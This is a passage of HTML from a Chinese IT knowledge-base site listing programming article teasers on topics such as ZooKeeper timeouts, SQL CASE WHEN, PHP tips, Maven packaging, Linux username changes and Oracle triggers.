target="_blank">求第n个斐波那契数</a> <span class="text-muted">BrokenDreams</span> <div>        今天看到群友发的一个问题:写一个小程序打印第n个斐波那契数。         自己试了下,搞了好久。。。基础要加强了。           &nbs</div> </li> <li><a href="/article/2047.htm" title="读《研磨设计模式》-代码笔记-访问者模式-Visitor" target="_blank">读《研磨设计模式》-代码笔记-访问者模式-Visitor</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a> <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ import java.util.ArrayList; import java.util.List; interface IVisitor { //第二次分派,Visitor调用Element void visitConcret</div> </li> <li><a href="/article/2174.htm" title="MatConvNet的excise 3改为网络配置文件形式" target="_blank">MatConvNet的excise 3改为网络配置文件形式</a> <span class="text-muted">cherishLC</span> <a class="tag" taget="_blank" href="/search/matlab/1.htm">matlab</a> <div>MatConvNet为vlFeat作者写的matlab下的卷积神经网络工具包,可以使用GPU。 主页: http://www.vlfeat.org/matconvnet/ 教程: http://www.robots.ox.ac.uk/~vgg/practicals/cnn/index.html 注意:需要下载新版的MatConvNet替换掉教程中工具包中的matconvnet: http</div> </li> <li><a href="/article/2301.htm" title="ZK Timeout再讨论" target="_blank">ZK Timeout再讨论</a> <span class="text-muted">chenchao051</span> <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/timeout/1.htm">timeout</a><a class="tag" taget="_blank" href="/search/hbase/1.htm">hbase</a> <div>http://crazyjvm.iteye.com/blog/1693757 文中提到相关超时问题,但是又出现了一个问题,我把min和max都设置成了180000,但是仍然出现了以下的异常信息: Client session timed out, have not heard from server in 154339ms for sessionid 0x13a3f7732340003</div> </li> <li><a href="/article/2428.htm" title="CASE WHEN 用法介绍" target="_blank">CASE WHEN 用法介绍</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/group+by/1.htm">group by</a><a class="tag" taget="_blank" href="/search/case+when/1.htm">case when</a> <div>CASE WHEN 用法介绍 1. CASE WHEN 表达式有两种形式 --简单Case函数  CASE sex  WHEN '1' THEN '男'  WHEN '2' THEN '女'  ELSE '其他' END  --Case搜索函数  CASE WHEN sex = '1' THEN </div> </li> <li><a href="/article/2555.htm" title="PHP技巧汇总:提高PHP性能的53个技巧" target="_blank">PHP技巧汇总:提高PHP性能的53个技巧</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>PHP技巧汇总:提高PHP性能的53个技巧  用单引号代替双引号来包含字符串,这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量,  单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的函数译注:  PHP手册中说echo是语言结构,不是真正的函数,故把函数加上了双引号)。  1、如果能将类的方法定义成static,就尽量定义成static,它的速度会提升将近4倍</div> </li> <li><a href="/article/2682.htm" title="Yii框架中CGridView的使用方法以及详细示例" target="_blank">Yii框架中CGridView的使用方法以及详细示例</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a> <div>CGridView显示一个数据项的列表中的一个表。 表中的每一行代表一个数据项的数据,和一个列通常代表一个属性的物品(一些列可能对应于复杂的表达式的属性或静态文本)。  CGridView既支持排序和分页的数据项。排序和分页可以在AJAX模式或正常的页面请求。使用CGridView的一个好处是,当用户浏览器禁用JavaScript,排序和分页自动退化普通页面请求和仍然正常运行。 实例代码如下:</div> </li> <li><a href="/article/2809.htm" title="Maven项目打包成可执行Jar文件" target="_blank">Maven项目打包成可执行Jar文件</a> <span class="text-muted">dyy_gusi</span> <a class="tag" taget="_blank" href="/search/assembly/1.htm">assembly</a> <div>Maven项目打包成可执行Jar文件 在使用Maven完成项目以后,如果是需要打包成可执行的Jar文件,我们通过eclipse的导出很麻烦,还得指定入口文件的位置,还得说明依赖的jar包,既然都使用Maven了,很重要的一个目的就是让这些繁琐的操作简单。我们可以通过插件完成这项工作,使用assembly插件。具体使用方式如下: 1、在项目中加入插件的依赖: <plugin> </div> </li> <li><a href="/article/2936.htm" title="php常见错误" target="_blank">php常见错误</a> <span class="text-muted">geeksun</span> <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a> <div>1.  kevent() reported that connect() failed (61: Connection refused) while connecting to upstream, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", upstream: "fastc</div> </li> <li><a href="/article/3063.htm" title="修改linux的用户名" target="_blank">修改linux的用户名</a> <span class="text-muted">hongtoushizi</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/change+password/1.htm">change password</a> <div>Change Linux Username 更改Linux用户名,需要修改4个系统的文件: /etc/passwd /etc/shadow /etc/group /etc/gshadow 古老/传统的方法是使用vi去直接修改,但是这有安全隐患(具体可自己搜一下),所以后来改成使用这些命令去代替: vipw vipw -s vigr vigr -s   具体的操作顺</div> </li> <li><a href="/article/3190.htm" title="第五章 常用Lua开发库1-redis、mysql、http客户端" target="_blank">第五章 常用Lua开发库1-redis、mysql、http客户端</a> <span class="text-muted">jinnianshilongnian</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/lua/1.htm">lua</a> <div>对于开发来说需要有好的生态开发库来辅助我们快速开发,而Lua中也有大多数我们需要的第三方开发库如Redis、Memcached、Mysql、Http客户端、JSON、模板引擎等。 一些常见的Lua库可以在github上搜索,https://github.com/search?utf8=%E2%9C%93&q=lua+resty。   Redis客户端 lua-resty-r</div> </li> <li><a href="/article/3317.htm" title="zkClient 监控机制实现" target="_blank">zkClient 监控机制实现</a> <span class="text-muted">liyonghui160com</span> <a class="tag" taget="_blank" href="/search/zkClient+%E7%9B%91%E6%8E%A7%E6%9C%BA%E5%88%B6%E5%AE%9E%E7%8E%B0/1.htm">zkClient 监控机制实现</a> <div>         直接使用zk的api实现业务功能比较繁琐。因为要处理session loss,session expire等异常,在发生这些异常后进行重连。又因为ZK的watcher是一次性的,如果要基于wather实现发布/订阅模式,还要自己包装一下,将一次性订阅包装成持久订阅。另外如果要使用抽象级别更高的功能,比如分布式锁,leader选举</div> </li> <li><a href="/article/3444.htm" title="在Mysql 众多表中查找一个表名或者字段名的 SQL 语句" target="_blank">在Mysql 众多表中查找一个表名或者字段名的 SQL 语句</a> <span class="text-muted">pda158</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>在Mysql 众多表中查找一个表名或者字段名的 SQL 语句:   方法一:SELECT table_name, column_name from information_schema.columns WHERE column_name LIKE 'Name';   方法二:SELECT column_name from information_schema.colum</div> </li> <li><a href="/article/3571.htm" title="程序员对英语的依赖" target="_blank">程序员对英语的依赖</a> <span class="text-muted">Smile.zeng</span> <a class="tag" taget="_blank" href="/search/%E8%8B%B1%E8%AF%AD/1.htm">英语</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E7%8C%BF/1.htm">程序猿</a> <div>1、程序员最基本的技能,至少要能写得出代码,当我们还在为建立类的时候思考用什么单词发牢骚的时候,英语与别人的差距就直接表现出来咯。 2、程序员最起码能认识开发工具里的英语单词,不然怎么知道使用这些开发工具。 3、进阶一点,就是能读懂别人的代码,有利于我们学习人家的思路和技术。 4、写的程序至少能有一定的可读性,至少要人别人能懂吧... 以上一些问题,充分说明了英语对程序猿的重要性。骚年</div> </li> <li><a href="/article/3698.htm" title="Oracle学习笔记(8) 使用PLSQL编写触发器" target="_blank">Oracle学习笔记(8) 使用PLSQL编写触发器</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8/1.htm">活动</a><a class="tag" taget="_blank" href="/search/Access/1.htm">Access</a> <div>    时间过得真快啊,转眼就到了Oracle学习笔记的最后个章节了,通过前面七章的学习大家应该对Oracle编程有了一定了了解了吧,这东东如果一段时间不用很快就会忘记了,所以我会把自己学习过的东西做好详细的笔记,用到的时候可以随时查找,马上上手!希望这些笔记能对大家有些帮助!     这是第八章的学习笔记,学习完第七章的子程序和包之后</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>